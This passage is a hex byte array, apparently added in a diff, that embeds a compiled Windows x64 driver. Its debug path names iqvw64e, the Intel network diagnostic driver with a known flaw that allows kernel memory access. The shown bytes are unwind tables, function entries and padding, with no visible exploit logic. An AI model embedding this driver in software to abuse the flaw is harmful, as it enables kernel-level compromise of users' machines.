0x00, 0x72, 0x24, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x26, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x24, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC3, 0xEA, 0x84, 0x52, + 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x74, 0x00, 0x00, 0x00, 0x6C, 0x61, 0x00, 0x00, 0x6C, 0x4D, 0x00, 0x00, 0x52, 0x53, 0x44, 0x53, 0x50, 0xBB, 0x0A, 0xBE, 0xA9, 0x09, 0x86, 0x42, 0x88, 0x6B, 0x33, 0x67, 0x56, 0x27, 0x97, 0x21, + 0x01, 0x00, 0x00, 0x00, 0x63, 0x3A, 0x5C, 0x75, 0x73, 0x65, 0x72, 0x73, 0x5C, 0x63, 0x6C, 0x6F, 0x75, 0x64, 0x62, 0x75, 0x69, 0x6C, 0x64, 0x5C, 0x33, 0x33, 0x37, 0x32, 0x34, 0x34, 0x5C, 0x73, 0x64, 0x6B, 0x5C, 0x6E, 0x61, 0x6C, 0x5C, 0x73, + 0x72, 0x63, 0x5C, 0x77, 0x69, 0x6E, 0x6E, 0x74, 0x5F, 0x77, 0x64, 0x6D, 0x5C, 0x64, 0x72, 0x69, 0x76, 0x65, 0x72, 0x5C, 0x6F, 0x62, 0x6A, 0x66, 0x72, 0x65, 0x5F, 0x77, 0x6E, 0x65, 0x74, 0x5F, 0x41, 0x4D, 0x44, 0x36, 0x34, 0x5C, 0x61, 0x6D, + 0x64, 0x36, 0x34, 0x5C, 0x69, 0x71, 0x76, 0x77, 0x36, 0x34, 0x65, 0x2E, 0x70, 0x64, 0x62, 0x00, 0x01, 0x06, 0x02, 0x00, 0x06, 0x52, 0x02, 0x30, 0x01, 0x06, 0x02, 0x00, 0x06, 0x32, 0x02, 0x30, 0x01, 0x06, 0x02, 0x00, 0x06, 0x32, 0x02, 0x30, + 0x01, 0x15, 0x05, 0x00, 0x15, 0x74, 0x09, 0x00, 0x10, 0x34, 0x08, 0x00, 0x04, 0x42, 0x00, 0x00, 0x01, 0x02, 0x01, 0x00, 0x02, 0x30, 0x00, 0x00, 0x21, 0x00, 0x00, 0x00, 0x10, 0x20, 0x5D, 0x00, 0x33, 0x20, 0x5D, 0x00, 0x34, 0x62, 0x00, 0x00, + 0x21, 0x04, 0x02, 0x00, 0x04, 0x74, 0x11, 0x00, 0x10, 0x20, 0x5D, 0x00, 0x33, 0x20, 0x5D, 0x00, 0x34, 0x62, 0x00, 0x00, 0x01, 0x0B, 0x03, 0x00, 0x0B, 0x34, 0x10, 0x00, 0x07, 0xC2, 0x00, 0x00, 0x01, 0x06, 0x02, 0x00, 0x06, 0x32, 0x02, 0x30, + 0x01, 0x11, 0x05, 0x00, 0x11, 0x74, 0x0B, 0x00, 0x0C, 0x34, 0x0A, 0x00, 0x04, 0x62, 0x00, 0x00, 0x01, 0x09, 0x03, 0x00, 0x09, 0x01, 0x26, 0x00, 0x02, 0x30, 0x00, 0x00, 0x21, 0x00, 0x00, 0x00, 0x50, 0x1D, 0x00, 0x00, 0x67, 0x1D, 0x00, 0x00, + 0x88, 0x62, 0x00, 0x00, 0x21, 0x05, 0x02, 0x00, 0x05, 0x74, 0x09, 0x00, 0x50, 0x1D, 0x00, 0x00, 0x67, 0x1D, 0x00, 0x00, 0x88, 0x62, 0x00, 0x00, 0x01, 0x0E, 0x03, 0x00, 0x0E, 0x34, 0x08, 0x00, 0x04, 0x42, 0x00, 0x00, 0x01, 0x04, 0x01, 0x00, + 0x04, 0x42, 0x00, 0x00, 0x01, 0x06, 0x02, 0x00, 0x06, 0x32, 0x02, 0x30, 0x01, 0x06, 0x02, 0x00, 0x06, 0x32, 0x02, 0x30, 0x01, 0x2A, 0x02, 0x00, 0x1B, 0x01, 0x87, 0x00, 0x01, 0x21, 0x0D, 0x00, 0x21, 0xD4, 0x09, 0x00, 0x1D, 0xC4, 0x0A, 0x00, + 0x17, 0x74, 0x0F, 0x00, 0x13, 0x64, 0x0E, 0x00, 0x0F, 0x54, 0x0D, 0x00, 0x0B, 0x34, 0x0C, 0x00, 0x07, 0xA2, 0x00, 0x00, 0x01, 0x11, 0x05, 0x00, 0x11, 0x74, 0x04, 0x00, 0x0C, 0x34, 0x09, 0x00, 0x04, 0x42, 0x00, 0x00, 0x21, 0x00, 0x00, 0x00, + 0x20, 0x22, 0x00, 0x00, 0x4E, 0x22, 0x00, 0x00, 0x28, 0x63, 0x00, 0x00, 0x21, 0x00, 0x02, 0x00, 0x00, 0xE4, 0x04, 0x00, 0x20, 0x22, 0x00, 0x00, 0x4E, 0x22, 0x00, 0x00, 0x28, 0x63, 0x00, 0x00, 0x21, 0x1D, 0x08, 0x00, 0x1D, 0xE4, 0x04, 0x00, + 0x0F, 0xD4, 0x05, 0x00, 0x08, 0x74, 0x07, 0x00, 0x04, 0x34, 0x0A, 0x00, 0x20, 0x22, 0x00, 0x00, 0x4E, 0x22, 0x00, 0x00, 0x28, 0x63, 0x00, 0x00, 0x01, 0x16, 0x07, 0x00, 0x16, 0xC4, 0x06, 0x00, 0x12, 0x64, 0x08, 0x00, 0x0E, 0x54, 0x09, 0x00, + 0x07, 0xA2, 0x00, 0x00, 0x01, 0x2A, 0x0B, 0x00, 0x2A, 0x74, 0x0B, 0x00, 0x1D, 0x34, 0x08, 0x00, 0x13, 0xC4, 0x06, 0x00, 0x0E, 0x64, 0x0A, 0x00, 0x09, 0x54, 0x09, 0x00, 0x04, 0x62, 0x00, 0x00, 0x21, 0x00, 0x00, 0x00, 0x50, 0x24, 0x00, 0x00, + 0x66, 0x24, 0x00, 0x00, 0x88, 0x63, 0x00, 0x00, 0x21, 0x2A, 0x08, 0x00, 0x2A, 0x74, 0x09, 0x00, 0x1D, 0x34, 0x06, 0x00, 0x0A, 0x64, 0x08, 0x00, 0x05, 0x54, 0x07, 0x00, 0x50, 0x24, 0x00, 0x00, 0x66, 0x24, 0x00, 0x00, 0x88, 0x63, 0x00, 0x00, + 0x01, 0x04, 0x01, 0x00, 0x04, 0x42, 0x00, 0x00, 0x21, 0x00, 0x00, 0x00, 0x20, 0x25, 0x00, 0x00, 0x8D, 0x25, 0x00, 0x00, 0xBC, 0x63, 0x00, 0x00, 0x21, 0x0F, 0x06, 0x00, 0x0F, 0xC4, 0x0A, 0x00, 0x0A, 0x74, 0x0F, 0x00, 0x05, 0x64, 0x0E, 0x00, + 0x20, 0x25, 0x00, 0x00, 0x8D, 0x25, 0x00, 0x00, 0xBC, 0x63, 0x00, 0x00, 0x01, 0x23, 0x0B, 0x00, 0x23, 0xF4, 0x07, 0x00, 0x18, 0xE4, 0x08, 0x00, 0x13, 0xD4, 0x09, 0x00, 0x0E, 0x54, 0x0D, 0x00, 0x09, 0x34, 0x0C, 0x00, 0x04, 0xA2, 0x00, 0x00, + 0x21, 0x46, 0x06, 0x00, 0x46, 0x64, 0x05, 0x00, 0x3D, 0x34, 0x06, 0x00, 0x00, 0x74, 0x04, 0x00, 0x70, 0x27, 0x00, 0x00, 0x82, 0x27, 0x00, 0x00, 0x18, 0x64, 0x00, 0x00, 0x21, 0x00, 0x00, 0x00, 0x70, 0x27, 0x00, 0x00, 0x82, 0x27, 0x00, 0x00, + 0x18, 0x64, 0x00, 0x00, 0x21, 0x05, 0x02, 0x00, 0x05, 0x74, 0x04, 0x00, 0x70, 0x27, 0x00, 0x00, 0x82, 0x27, 0x00, 0x00, 0x18, 0x64, 0x00, 0x00, 0x01, 0x04, 0x01, 0x00, 0x04, 0x62, 0x00, 0x00, 0x01, 0x04, 0x01, 0x00, 0x04, 0x62, 0x00, 0x00, + 0x21, 0x14, 0x06, 0x00, 0x14, 0x64, 0x06, 0x00, 0x0D, 0x34, 0x0B, 0x00, 0x00, 0x74, 0x05, 0x00, 0xE0, 0x28, 0x00, 0x00, 0xE9, 0x28, 0x00, 0x00, 0x68, 0x64, 0x00, 0x00, 0x21, 0x00, 0x00, 0x00, 0xE0, 0x28, 0x00, 0x00, 0xE9, 0x28, 0x00, 0x00, + 0x68, 0x64, 0x00, 0x00, 0x21, 0x05, 0x02, 0x00, 0x05, 0x74, 0x05, 0x00, 0xE0, 0x28, 0x00, 0x00, 0xE9, 0x28, 0x00, 0x00, 0x68, 0x64, 0x00, 0x00, 0x01, 0x04, 0x01, 0x00, 0x04, 0x62, 0x00, 0x00, 0x21, 0x00, 0x00, 0x00, 0xC0, 0x29, 0x00, 0x00, + 0xF4, 0x29, 0x00, 0x00, 0xCC, 0x64, 0x00, 0x00, 0x21, 0x00, 0x02, 0x00, 0x00, 0x34, 0x06, 0x00, 0xC0, 0x29, 0x00, 0x00, 0xF4, 0x29, 0x00, 0x00, 0xCC, 0x64, 0x00, 0x00, 0x21, 0x00, 0x00, 0x00, 0xF4, 0x29, 0x00, 0x00, 0x0F, 0x2A, 0x00, 0x00, + 0xB8, 0x64, 0x00, 0x00, 0x21, 0x05, 0x02, 0x00, 0x05, 0x64, 0x08, 0x00, 0xF4, 0x29, 0x00, 0x00, 0x0F, 0x2A, 0x00, 0x00, 0xB8, 0x64, 0x00, 0x00, 0x21, 0x05, 0x02, 0x00, 0x05, 0x34, 0x06, 0x00, 0xC0, 0x29, 0x00, 0x00, 0xF4, 0x29, 0x00, 0x00, + 0xCC, 0x64, 0x00, 0x00, 0x01, 0x16, 0x07, 0x00, 0x16, 0xC4, 0x04, 0x00, 0x11, 0x74, 0x09, 0x00, 0x0C, 0x54, 0x07, 0x00, 0x04, 0x42, 0x00, 0x00, 0x21, 0x00, 0x00, 0x00, 0xC0, 0x2A, 0x00, 0x00, 0xE0, 0x2A, 0x00, 0x00, 0x1C, 0x65, 0x00, 0x00, + 0x21, 0x00, 0x02, 0x00, 0x00, 0x34, 0x07, 0x00, 0xC0, 0x2A, 0x00, 0x00, 0xE0, 0x2A, 0x00, 0x00, 0x1C, 0x65, 0x00, 0x00, 0x21, 0x1C, 0x04, 0x00, 0x1C, 0x64, 0x08, 0x00, 0x05, 0x34, 0x07, 0x00, 0xC0, 0x2A, 0x00, 0x00, 0xE0, 0x2A, 0x00, 0x00, + 0x1C, 0x65, 0x00, 0x00, 0x01, 0x0C, 0x03, 0x00, 0x0C, 0x74, 0x09, 0x00, 0x04, 0x42, 0x00, 0x00, 0x01, 0x14, 0x05, 0x00, 0x14, 0x74, 0x13, 0x00, 0x0B, 0x34, 0x12, 0x00, 0x07, 0xE2, 0x00, 0x00, 0x01, 0x24, 0x0A, 0x00, 0x24, 0x74, 0x0F, 0x00, + 0x16, 0x64, 0x10, 0x00, 0x12, 0x54, 0x11, 0x00, 0x0E, 0x34, 0x12, 0x00, 0x0A, 0x01, 0x13, 0x00, 0x21, 0x00, 0x02, 0x00, 0x00, 0xD4, 0x40, 0x00, 0x70, 0x2D, 0x00, 0x00, 0x89, 0x2D, 0x00, 0x00, 0xB4, 0x65, 0x00, 0x00, 0x21, 0x00, 0x00, 0x00, + 0x89, 0x2D, 0x00, 0x00, 0xD0, 0x2E, 0x00, 0x00, 0x8C, 0x65, 0x00, 0x00, 0x21, 0x16, 0x04, 0x00, 0x16, 0x64, 0x47, 0x00, 0x08, 0xF4, 0x3E, 0x00, 0x89, 0x2D, 0x00, 0x00, 0xD0, 0x2E, 0x00, 0x00, 0x8C, 0x65, 0x00, 0x00, 0x21, 0xEF, 0x0C, 0x00, + 0xEF, 0xD4, 0x40, 0x00, 0x1B, 0xE4, 0x3F, 0x00, 0x14, 0xC4, 0x41, 0x00, 0x0C, 0x74, 0x42, 0x00, 0x08, 0x54, 0x46, 0x00, 0x04, 0x34, 0x45, 0x00, 0x70, 0x2D, 0x00, 0x00, 0x89, 0x2D, 0x00, 0x00, 0xB4, 0x65, 0x00, 0x00, 0x01, 0x19, 0x02, 0x00, + 0x0A, 0x01, 0x43, 0x00, 0x01, 0x27, 0x06, 0x00, 0x27, 0x74, 0x17, 0x00, 0x1F, 0x34, 0x16, 0x00, 0x0A, 0x01, 0x13, 0x00, 0x21, 0x00, 0x00, 0x00, 0xB0, 0x32, 0x00, 0x00, 0x3A, 0x33, 0x00, 0x00, 0x20, 0x66, 0x00, 0x00, 0x21, 0x00, 0x00, 0x00, + 0x3A, 0x33, 0x00, 0x00, 0x65, 0x33, 0x00, 0x00, 0x0C, 0x66, 0x00, 0x00, 0x21, 0x1D, 0x08, 0x00, 0x1D, 0xC4, 0x0F, 0x00, 0x18, 0x74, 0x10, 0x00, 0x10, 0x64, 0x15, 0x00, 0x08, 0x54, 0x14, 0x00, 0x3A, 0x33, 0x00, 0x00, 0x65, 0x33, 0x00, 0x00, + 0x0C, 0x66, 0x00, 0x00, 0x21, 0x08, 0x02, 0x00, 0x08, 0x34, 0x13, 0x00, 0xB0, 0x32, 0x00, 0x00, 0x3A, 0x33, 0x00, 0x00, 0x20, 0x66, 0x00, 0x00, 0x01, 0x1E, 0x06, 0x00, 0x1E, 0xE4, 0x0D, 0x00, 0x1A, 0xD4, 0x0E, 0x00, 0x0A, 0x01, 0x11, 0x00, + 0x21, 0x00, 0x04, 0x00, 0x00, 0x74, 0x0B, 0x00, 0x00, 0x64, 0x0A, 0x00, 0x40, 0x35, 0x00, 0x00, 0x4B, 0x35, 0x00, 0x00, 0x64, 0x66, 0x00, 0x00, 0x21, 0x15, 0x06, 0x00, 0x15, 0x74, 0x0B, 0x00, 0x08, 0x64, 0x0A, 0x00, 0x04, 0x54, 0x09, 0x00, + 0x40, 0x35, 0x00, 0x00, 0x4B, 0x35, 0x00, 0x00, 0x64, 0x66, 0x00, 0x00, 0x01, 0x0B, 0x03, 0x00, 0x0B, 0x34, 0x08, 0x00, 0x07, 0x62, 0x00, 0x00, 0x21, 0x00, 0x04, 0x00, 0x00, 0x74, 0x0B, 0x00, 0x00, 0x64, 0x0A, 0x00, 0x40, 0x36, 0x00, 0x00, + 0x4B, 0x36, 0x00, 0x00, 0xA4, 0x66, 0x00, 0x00, 0x21, 0x13, 0x06, 0x00, 0x13, 0x74, 0x0B, 0x00, 0x08, 0x64, 0x0A, 0x00, 0x04, 0x54, 0x09, 0x00, 0x40, 0x36, 0x00, 0x00, 0x4B, 0x36, 0x00, 0x00, 0xA4, 0x66, 0x00, 0x00, 0x01, 0x0B, 0x03, 0x00, + 0x0B, 0x34, 0x08, 0x00, 0x07, 0x62, 0x00, 0x00, 0x21, 0x00, 0x00, 0x00, 0x40, 0x37, 0x00, 0x00, 0x7E, 0x37, 0x00, 0x00, 0xD4, 0x66, 0x00, 0x00, 0x21, 0x05, 0x02, 0x00, 0x05, 0x34, 0x0A, 0x00, 0x40, 0x37, 0x00, 0x00, 0x7E, 0x37, 0x00, 0x00, + 0xD4, 0x66, 0x00, 0x00, 0x01, 0x10, 0x03, 0x00, 0x10, 0x74, 0x0B, 0x00, 0x04, 0x62, 0x00, 0x00, 0x01, 0x22, 0x09, 0x00, 0x22, 0x74, 0x0B, 0x00, 0x1D, 0x64, 0x0A, 0x00, 0x10, 0x54, 0x09, 0x00, 0x09, 0x34, 0x08, 0x00, 0x04, 0x62, 0x00, 0x00, + 0x01, 0x23, 0x0B, 0x00, 0x23, 0xC4, 0x07, 0x00, 0x1E, 0x74, 0x08, 0x00, 0x13, 0x64, 0x09, 0x00, 0x0E, 0x54, 0x0A, 0x00, 0x09, 0x34, 0x0F, 0x00, 0x04, 0xA2, 0x00, 0x00, 0x01, 0x11, 0x05, 0x00, 0x11, 0x74, 0x06, 0x00, 0x0C, 0x34, 0x0B, 0x00, + 0x04, 0x62, 0x00, 0x00, 0x21, 0x00, 0x00, 0x00, 0x00, 0x3A, 0x00, 0x00, 0x36, 0x3A, 0x00, 0x00, 0x48, 0x67, 0x00, 0x00, 0x21, 0x08, 0x02, 0x00, 0x08, 0x64, 0x10, 0x00, 0x00, 0x3A, 0x00, 0x00, 0x36, 0x3A, 0x00, 0x00, 0x48, 0x67, 0x00, 0x00, + 0x01, 0x19, 0x06, 0x00, 0x19, 0x74, 0x0F, 0x00, 0x14, 0x34, 0x15, 0x00, 0x0C, 0x01, 0x11, 0x00, 0x01, 0x22, 0x0E, 0x00, 0x22, 0xD4, 0x2B, 0x00, 0x1E, 0xC4, 0x2C, 0x00, 0x1A, 0x74, 0x2D, 0x00, 0x16, 0x64, 0x2E, 0x00, 0x12, 0x54, 0x2F, 0x00, + 0x0E, 0x34, 0x30, 0x00, 0x0A, 0x01, 0x31, 0x00, 0x01, 0x11, 0x05, 0x00, 0x11, 0x74, 0x09, 0x00, 0x0C, 0x34, 0x08, 0x00, 0x04, 0x42, 0x00, 0x00, 0x01, 0x06, 0x02, 0x00, 0x06, 0x32, 0x02, 0x30, 0x01, 0x06, 0x02, 0x00, 0x06, 0x32, 0x02, 0x30, + 0x01, 0x0A, 0x02, 0x00, 0x0A, 0x32, 0x06, 0x30, 0x01, 0x0E, 0x02, 0x00, 0x0E, 0x72, 0x0A, 0x30, 0x01, 0x24, 0x06, 0x00, 0x24, 0x74, 0xA3, 0x00, 0x20, 0x34, 0xA2, 0x00, 0x0A, 0x01, 0x9F, 0x00, 0x01, 0x04, 0x01, 0x00, 0x04, 0x62, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xCD, 0x5D, 0x20, 0xD2, 0x66, 0xD4, 0xFF, 0xFF, 0x32, 0xA2, 0xDF, 0x2D, 0x99, 0x2B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x10, 0x00, 0x00, 0x81, 0x10, 0x00, 0x00, 0xE0, 0x61, 0x00, 0x00, 0x90, 0x10, 0x00, 0x00, 0xDB, 0x10, 0x00, 0x00, 0xE8, 0x61, 0x00, 0x00, + 0xF0, 0x10, 0x00, 0x00, 0x3B, 0x11, 0x00, 0x00, 0xF0, 0x61, 0x00, 0x00, 0x50, 0x11, 0x00, 0x00, 0x03, 0x12, 0x00, 0x00, 0xF8, 0x61, 0x00, 0x00, 0x20, 0x12, 0x00, 0x00, 0xE0, 0x12, 0x00, 0x00, 0x08, 0x62, 0x00, 0x00, 0x30, 0x13, 0x00, 0x00, + 0xB8, 0x13, 0x00, 0x00, 0x40, 0x62, 0x00, 0x00, 0xC0, 0x13, 0x00, 0x00, 0x54, 0x1A, 0x00, 0x00, 0x48, 0x62, 0x00, 0x00, 0x60, 0x1A, 0x00, 0x00, 0x10, 0x1C, 0x00, 0x00, 0x58, 0x62, 0x00, 0x00, 0x50, 0x1D, 0x00, 0x00, 0x67, 0x1D, 0x00, 0x00, + 0x88, 0x62, 0x00, 0x00, 0x67, 0x1D, 0x00, 0x00, 0x88, 0x1D, 0x00, 0x00, 0x74, 0x62, 0x00, 0x00, 0x88, 0x1D, 0x00, 0x00, 0x9E, 0x1D, 0x00, 0x00, 0x64, 0x62, 0x00, 0x00, 0xC0, 0x1D, 0x00, 0x00, 0xD6, 0x1D, 0x00, 0x00, 0x94, 0x62, 0x00, 0x00, + 0x70, 0x1E, 0x00, 0x00, 0x92, 0x1E, 0x00, 0x00, 0x9C, 0x62, 0x00, 0x00, 0xA0, 0x1E, 0x00, 0x00, 0xBF, 0x1E, 0x00, 0x00, 0xA4, 0x62, 0x00, 0x00, 0x30, 0x1F, 0x00, 0x00, 0xEF, 0x1F, 0x00, 0x00, 0xAC, 0x62, 0x00, 0x00, 0x30, 0x20, 0x00, 0x00, + 0xB7, 0x21, 0x00, 0x00, 0xB4, 0x62, 0x00, 0x00, 0xC0, 0x21, 0x00, 0x00, 0x0D, 0x22, 0x00, 0x00, 0xD4, 0x62, 0x00, 0x00, 0x20, 0x22, 0x00, 0x00, 0x4E, 0x22, 0x00, 0x00, 0x28, 0x63, 0x00, 0x00, 0x4E, 0x22, 0x00, 0x00, 0x73, 0x23, 0x00, 0x00, + 0x08, 0x63, 0x00, 0x00, 0x73, 0x23, 0x00, 0x00, 0xA1, 0x23, 0x00, 0x00, 0xF4, 0x62, 0x00, 0x00, 0xA1, 0x23, 0x00, 0x00, 0xBA, 0x23, 0x00, 0x00, 0xE4, 0x62, 0x00, 0x00, 0xC0, 0x23, 0x00, 0x00, 0x42, 0x24, 0x00, 0x00, 0x3C, 0x63, 0x00, 0x00, + 0x50, 0x24, 0x00, 0x00, 0x66, 0x24, 0x00, 0x00, 0x88, 0x63, 0x00, 0x00, 0x66, 0x24, 0x00, 0x00, 0x0A, 0x25, 0x00, 0x00, 0x68, 0x63, 0x00, 0x00, 0x0A, 0x25, 0x00, 0x00, 0x0F, 0x25, 0x00, 0x00, 0x58, 0x63, 0x00, 0x00, 0x20, 0x25, 0x00, 0x00, + 0x8D, 0x25, 0x00, 0x00, 0xBC, 0x63, 0x00, 0x00, 0x8D, 0x25, 0x00, 0x00, 0x43, 0x27, 0x00, 0x00, 0xA0, 0x63, 0x00, 0x00, 0x43, 0x27, 0x00, 0x00, 0x61, 0x27, 0x00, 0x00, 0x90, 0x63, 0x00, 0x00, 0x70, 0x27, 0x00, 0x00, 0x82, 0x27, 0x00, 0x00, + 0x18, 0x64, 0x00, 0x00, 0x82, 0x27, 0x00, 0x00, 0xCB, 0x27, 0x00, 0x00, 0x04, 0x64, 0x00, 0x00, 0xCB, 0x27, 0x00, 0x00, 0xD0, 0x27, 0x00, 0x00, 0xF4, 0x63, 0x00, 0x00, 0xD0, 0x27, 0x00, 0x00, 0xA6, 0x28, 0x00, 0x00, 0xD8, 0x63, 0x00, 0x00, + 0xB0, 0x28, 0x00, 0x00, 0xD1, 0x28, 0x00, 0x00, 0x20, 0x64, 0x00, 0x00, 0xE0, 0x28, 0x00, 0x00, 0xE9, 0x28, 0x00, 0x00, 0x68, 0x64, 0x00, 0x00, 0xE9, 0x28, 0x00, 0x00, 0x2E, 0x29, 0x00, 0x00, 0x54, 0x64, 0x00, 0x00, 0x2E, 0x29, 0x00, 0x00, + 0x33, 0x29, 0x00, 0x00, 0x44, 0x64, 0x00, 0x00, 0x33, 0x29, 0x00, 0x00, 0xB3, 0x29, 0x00, 0x00, 0x28, 0x64, 0x00, 0x00, 0xC0, 0x29, 0x00, 0x00, 0xF4, 0x29, 0x00, 0x00, 0xCC, 0x64, 0x00, 0x00, 0xF4, 0x29, 0x00, 0x00, 0x0F, 0x2A, 0x00, 0x00, + 0xB8, 0x64, 0x00, 0x00, 0x0F, 0x2A, 0x00, 0x00, 0x79, 0x2A, 0x00, 0x00, 0xA4, 0x64, 0x00, 0x00, 0x79, 0x2A, 0x00, 0x00, 0x92, 0x2A, 0x00, 0x00, 0x94, 0x64, 0x00, 0x00, 0x92, 0x2A, 0x00, 0x00, 0x96, 0x2A, 0x00, 0x00, 0x80, 0x64, 0x00, 0x00, + 0x96, 0x2A, 0x00, 0x00, 0xAF, 0x2A, 0x00, 0x00, 0x70, 0x64, 0x00, 0x00, 0xC0, 0x2A, 0x00, 0x00, 0xE0, 0x2A, 0x00, 0x00, 0x1C, 0x65, 0x00, 0x00, 0xE0, 0x2A, 0x00, 0x00, 0x49, 0x2B, 0x00, 0x00, 0x04, 0x65, 0x00, 0x00, 0x49, 0x2B, 0x00, 0x00, + 0x5A, 0x2B, 0x00, 0x00, 0xF0, 0x64, 0x00, 0x00, 0x5A, 0x2B, 0x00, 0x00, 0x69, 0x2B, 0x00, 0x00, 0xE0, 0x64, 0x00, 0x00, 0x70, 0x2B, 0x00, 0x00, 0x5A, 0x2C, 0x00, 0x00, 0x28, 0x65, 0x00, 0x00, 0x60, 0x2C, 0x00, 0x00, 0x5C, 0x2D, 0x00, 0x00, + 0x38, 0x65, 0x00, 0x00, 0x70, 0x2D, 0x00, 0x00, 0x89, 0x2D, 0x00, 0x00, 0xB4, 0x65, 0x00, 0x00, 0x89, 0x2D, 0x00, 0x00, 0xD0, 0x2E, 0x00, 0x00, 0x8C, 0x65, 0x00, 0x00, 0xD0, 0x2E, 0x00, 0x00, 0x97, 0x30, 0x00, 0x00, 0x74, 0x65, 0x00, 0x00, + 0x97, 0x30, 0x00, 0x00, 0xC9, 0x30, 0x00, 0x00, 0x64, 0x65, 0x00, 0x00, 0xC9, 